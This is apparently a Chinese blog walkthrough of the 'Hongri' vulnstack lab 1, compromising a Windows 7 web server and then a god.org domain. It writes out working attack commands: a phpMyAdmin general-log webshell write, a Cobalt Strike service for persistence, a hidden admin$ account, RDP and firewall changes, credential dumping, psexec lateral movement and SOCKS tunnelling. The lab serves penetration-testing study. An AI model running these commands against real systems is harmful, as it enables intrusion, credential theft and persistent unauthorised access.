红日靶场1
This_is_Y Lv6

环境搭建

下载好三台虚拟机
地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
解压,用vm打开,但是先不要启动虚拟机
拓扑图

image-20210622185304581

VM1 web服务器:windows7 x64
VM2 域成员:win 2003
VM3 域控服务器:win 2008

image-20210622191338099

VMnet1是一个内网环境,win7的net是模拟外网环境,
进入vm->编辑->虚拟网络编辑器。配置vmnet1为192.168.52.0之外的任意ip段(假如是52的话,3台设备组成的内网就不存在了)
配置好后,进入win7,密码hongrisec@2019,启动c盘下的phpstudy,然后可以关了
后面因为密码过期。改了密码hongrisec2019.

拿下web服务器

信息搜集

找到目标IP地址
nmap -sP 192.168.247.0/24

image-20210622200721970

nmap扫描端口
nmap -sV 192.168.247.132

image-20210622200450400

80,135,3306

getshell

打开网页,发现是一个php探针,测试root/root弱口令连接数据库

image-20210622200554075

访问http://192.168.247.132/phpmyadmin/index.php 登录后台使用sql执行的功能,修改日志位置来写入webshell
打开日志功能
set global general_log=on;
修改日志文件位置
set global general_log_file=’C:\phpStudy\WWW\log3.php’;
确认是否成功写入
show variables like ‘general_log_file’;

image-20210622201116675

然后select’‘;
之后访问http://192.168.247.132/log3.php 确定后,用蚁剑连接上目标

image-20210622201342198

连上去后,上传一个cs的马到C:/Users/Public/,把shell转移到cs。

权限维持

由于是administrator权限,这里顺便做一个自启动服务的权限维持

1
2
3
4
shell sc create "aaser" binpath= "C:/Users/Public/.klee.exe"
shell sc description "aaser" "description"
shell sc config "aaser" start= auto
shell net start "aaser"

内网渗透

远程桌面连接

  • 添加影子用户

    1
    2
    shell net user admin$ 123456abc.. /add
    shell net localgroup administrators admin$ /add
  • 查询系统是否允许3389远程连接

1
shell REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

1表示关闭,0表示开启

  • 先通过修改注册表来设置一下允许远程桌面连接:

    1
    shell REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server " /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  • 配置一下防火墙,设置为允许远程桌面连接,命令:

    1
    shell netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

    这种时候一般就可以连接上去了

  • 关闭防火墙(可选):

    1
    2
    shell netsh firewall set opmode disable
    shell netsh firewall set opmode mode=disable

后面这块就纯属于自己的学习了,简单的入个门

内网信息搜集

用的fscan扫描 :https://github.com/shadow1ng/fscan
扫描结果

image-20210622221556626

  • 查询网络配置信息
    ipconfig /all

  • 查询操作系统及软件信息
    systeminfo
    systeminfo |findstr /B /C:”OS”
    这里同时会返回补丁信息,可以去这里 分析

  • 查询系统体系结构
    echo %PROCESSOR_ARCHITECTURE%

  • 利用powersHELL 命令,收集软件的版本信息
    powershell “Get-WmiObject -class Win32_Product | Select-Object -Property name,version”

  • 查询进程列表
    tasklist
    tasklist /SVC
    查完之后可以去这里 分析一下进程,看看杀软情况

  • 查看本机用户列表
    net user
    net localgroup administrator

  • 查看当前在线用户
    query user || qwinsta

  • 列出或断开本地计算机与所连接的客户端之间的会话(需要管理员权限)
    net session

  • 查询端口列表(常用命令)
    netstat -ano

  • 查询本机共享列表
    net share

  • 查询路由表及所有可用接口的Arp缓存表
    route print
    arp -a

  • 关于防火墙

    • 关闭防火墙
      netsh advfirewall set allprofiles state off

    • 查看防火墙配置
      netsh firewall show config

    • 修改防火墙配置

      • windwos server 2003 及之前的版本,允许指定程序全部连接
        netsh firewall add allowedprogram c:\nc.exe “allow nc” enable

      • windows server 2003之后的版本

        • 允许指定程序进入,命令如下:
          netsh advfirewall firewall add rule name=”pass nc” dir=in action=allow program=”C:\nc.exe”

        • 允许指定程序退出,命令如下:
          netsh advfirewall firewall add rule name=”Allow nc” dir=out action=allow program=”C:\nc.exe”

        • 允许3389端口放行:
          netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow

  • 查看代理配置情况
    reg query “HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\INternet settings”

  • 查询域(需要启动Computer Browser服务)
    win7 在计算机管理–服务–找到CB服务
    net view /domain

    image-20210624145219643

  • 查询域内所有计算机
    net view /domain:god

  • 查询域内所有用户组列表(默认13个)
    net group /domain

这三个都返回 “这项请求将在域god.org的域控制器处理”

  • 查询域内所有用户组列表(默认13个)
    net group /domain
  • 查询所有域成员计算机列表
    net group ”domain computers“ /domain
  • 获取密码信息(密码设置要求)
    net accounts /domain

在 win10 中,输入 wmic /? 会提示 wmic 已弃用,但在 server2012R2,win7 等版本中可以正常使用
powershell 中可替代该命令的是 Get-WmiObject:
Get-WmiObject -class win32_product | Select-Object -property name,version

主要流程

  • 判断是否存在域
    ipconfig /all
    看DNS后缀列表
    image-20210705140528663
    dns服务器名称为god.org
    判断存在域后,查看域信息:
    net view
    查看主域信息:
    net view /domain
    查看时间服务器:
    net time /domain

发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

横向移动

  • 1
    内网两台机器(192.168.52.0/24)无法连接到外网,可以ping百度测试一下。
    虽然不能连外网,但是可以连接到win7这台机器,而win7这台机器是可以出网的,
    SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效
    参考:https://www.freebuf.com/column/231111.html

  • 2
    新建一个smb监听器,然后右键目标,点击spawn,选择该监听器,过一会就会出现一个新的会话,可以note一下,以标记区分。

    image-20210707151138990image-20210707151307930

image-20210707151337899

​ ip旁边的两个∞符号表示连接

  • 3
    同时对已经拿到的机器hashdump,logonpasswords。抓取密码,如何net user 发现主机,记录在cs中,方便横向迁移

image-20210707145551831image-20210707145641949

​ 第一个箭头指targets的是net user发现的主机,第二个箭头指的credentials是抓取到的用户凭证

  • 4
    在targets中右键一台主机, jump->psexec

image-20210707150824012

​ user,password,domain选择god.org域的那条数据,监听器选择smb监听器,会话选择使用smb派生出来的会话

image-20210707150927138

对另一台机器也做同样的操作,然后等待上线。然后大概就是会有这些机器

image-20210707151908504

image-20210707151919088

对域控继续权限维持

执行shell nltest /DCLIST:god.org找到域控主机

image-20210707150532452

域控是这台叫OWA的机器,内网ip为192.168.52.138

image-20210707150601704

添加用户,打开3389,关闭防火墙,全套服务走起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
添加影子用户
shell net user admin$ 123456abc.. /add
shell net localgroup administrators admin$ /add


先通过修改注册表来设置一下允许远程桌面连接:
shell REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server " /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


配置一下防火墙,设置为允许远程桌面连接:
shell netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

关闭防火墙(可选)
shell netsh firewall set opmode disable
shell netsh firewall set opmode mode=disable

由于它在内网环境下,需要用挂代理才可以远程连接到

这里测试了两个方法,对应win和linux去连接远程桌面

linux:

CS命令 socks 1234
打开后,修改/etc/proxychains.conf
添加一行,socks4 127.0.0.1 1234

image-20210707154004916

然后proxychains rdesktop 192.168.52.138
就可以连接到远程桌面了,注意要登录到的域

image-20210707154838577

windows

win用的ew

首先把ew传到win7上,启动ew_for_win_32.exe -s ssocksd -l 9876

image-20210707165902521

然后关闭防火墙,不关防火墙连不上

win10这边,启动proxifier,配置

profile->proxy servers

填上win7的ip,监听的端口,选择socks5

image-20210707170102967

profile->proxification rules

image-20210707170312381

然后打开rdp,连接。proxifier这边是可以看到的

image-20210707170349978

image-20210707165804072

 Comments